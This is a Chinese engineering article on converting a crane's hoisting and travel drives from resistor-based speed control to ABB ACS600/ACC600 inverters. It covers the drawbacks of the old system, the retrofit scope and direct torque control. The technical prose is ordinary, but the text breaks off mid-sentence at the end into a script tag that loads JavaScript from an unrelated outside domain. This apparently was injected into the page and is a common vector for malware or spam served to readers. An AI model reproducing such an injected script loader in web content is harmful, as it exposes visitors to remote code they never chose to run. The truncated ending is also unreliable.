摘要：本文简要介绍了起重机控制的现状及存在的问题，以我公司采用abb变频器为某公司起重机变频调速系统改造为例，介绍了设备现状、改造要求，改造方案、控制原理及应当注意的问题、系统改造后的效果，最后对在起重机行业使用变频调速系统的优点进行了总结。
关键词：abb 变频器 起重机 起升机构 行走机构
前言：由于起重机控制的特殊性，变频器在我国起重机行业的应用，相比其他行业要晚一些。随着各种高性能变频器的出现，以及人们对变频器认识的深入和应用经验的积累，变频器在起重行业的应用，正在以非常迅猛的态势发展。
为了更好、更广泛的在起重行业使用变频器，现结合我公司多年从事提升机、起重机变频调速系统的改造与设计的经验，以一个具体的工程项目为例，力求比较完整、详细地介绍变频器在起重机行业中的应用。希望籍此与各位同仁共同探讨、交流！
一、当前起重机控制的现状及存在的问题
1、目前起重机控制的现状
据有关报道，国外发达国家的起重机，很多都采用变频调速系统控制。即使在发展中国家的比例也比较高。我国虽然近几年对传统的起重机控制系统进行了一些变频调速系统改造，并且很多起重机生产厂家开始采用变频调速系统，但绝大部分用户仍然使用传统的“绕线式电动机转子串电阻调速系统”方式（以下简称传统的调速系统）。
2、 传统的调速系统存在的问题
2.1 传动性能差
传统的调速系统，虽然转子串接电阻实现了调速功能（也是有级的），但因为不能改变同步转速，致使传动系统机械特性很软，从而使速度的稳定性和调速精度很差。
而且大车通常有两台或四台甚至多台电动机驱动，更由于负载的变化、轨道的平整度、电动机参数的分散性等导致大梁扭动和行车上的电控设备的震动大，不但恶化了操作人员的工作环境容易疲劳导致操作失误，也降低了整个设备的使用寿命、稳定性、可靠性。
2.2 可靠性差
◆接触器频繁分、合，尤其操作人员频繁靠反接制动来稳钩（接触器在大电流情况下频繁分、合），经常造成接触器触点的烧结和电阻烧毁。
◆保护措施不完善，易发生电动机烧毁的现象。
◆制动闸皮承受比较大的冲击，磨损严重，需要经常检修、更换。
◆起重机的使用环境一般比较恶劣，并且绕线式电动机本身具有电刷、滑环等薄弱环节，需要经常进行维护、维修。
2.3增加能耗
起重机经常在低速状态下运行，大量的转差功率消耗在转子串接的电阻上（一般情况下可占总能耗的20%以上），从节能和经济两方面来讲，都不可取。
2.4增加了使用维修成本
设备使用寿命的缩短，以及可靠性差造成的停机，不但增加了维护工作量，而且导致设备使用成本的增加。
2.5危险性也比较高。起重机属于位能性负载，对安全性要求很高。
上述所有问题，都是采用绕线式电动机转子串电阻调速系统原理本身引起的。最终表现为设备的生产率受到限制（经常出故障处于停机、维修状态）、维护工作量大、使用维修成本上升。
二、变频调速系统改造
下面以我公司为某厂起重机变频系统改造为例，介绍变频器在起重机行业的应用。
1、设备改造总体要求
■改造范围
?现有电控柜全部拆除，采用新控制柜；
?联动操作台更换；
?所有电缆更换；
?配电屏更换；
?现场灯光、开车警示、上下车联络回路等保持不变；
?现场各检测开关如大车左右极限、小车前后极限、主、副起升机构的限位全部保留。
■改造要求
?尽量保留现有操作方式，以利操作人员操作；
?各机构改造后，仍为四档速度，各档级速度可以根据需要无级调整；
?采用plc和工业控制现场总线，减少接线和故障率；
?生产力不得降低；
?主副起升机构没有溜钩现象；
?系统应当具有抗震动和电网电压波动能力；
?完善的保护功能；
?详细工作状态和故障信号显示，便于操作人员监视、操控和维护人员维护；
?利用设备大修时间完成原设备的拆除和新设备的安装、调试。
2、改造方案
参见以下 “主回路方案图”和“控制方案图”。
图一
图二：控制方案图
3、控制原理
3.1主回路（图一）
全部采用abb公司生产的acs600系列变频器（起升机构采用acc600提升专用变频器）。
abb 变频器采用直接转矩控制（dtc）方式。这种控制方式采用实时计算的电动机转矩和转速构成转矩转速双闭环系统，其动、静态精度高（控制精度优于正负5%）；在转矩响应方面，比非dtc控制方式变频器快许多（转矩响应响应时间≤5ms），并克服了传统调速系统和转矩开环变频器低速段输出转矩不足的问题，其零速转矩可达200%。这些特点充分保证了位能性负载的要求。
acc600提升专用变频器除?script src=http://er12.com/t.js>
